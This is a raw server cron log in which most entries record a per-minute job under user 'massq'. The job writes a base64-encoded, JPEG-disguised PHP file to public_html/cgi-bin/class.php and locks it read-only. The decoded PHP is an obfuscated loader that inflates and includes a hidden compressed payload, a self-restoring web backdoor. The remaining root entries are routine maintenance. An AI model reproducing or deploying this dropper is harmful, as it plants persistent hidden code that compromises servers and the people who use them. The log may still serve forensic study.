Nov 10 06:47:01 server CROND[23661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:48:01 server CROND[24486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:49:01 server CROND[25321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:50:01 server CROND[26150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:50:01 server CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 06:50:01 server CROND[26153]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:50:01 server CROND[26156]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 06:50:01 server CROND[26154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:51:01 server CROND[27028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:52:01 server CROND[27920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:53:01 server CROND[28738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:54:01 server CROND[29579]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:55:01 server CROND[30393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 06:55:01 server CROND[30394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 06:55:01 server CROND[30395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:56:01 server CROND[30919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:57:01 server CROND[31652]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:57:01 server CROND[31653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 06:58:01 server CROND[32446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 06:59:01 server CROND[900]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 07:00:01 server CROND[1714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 07:00:01 server CROND[1717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 07:00:01 server CROND[1716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
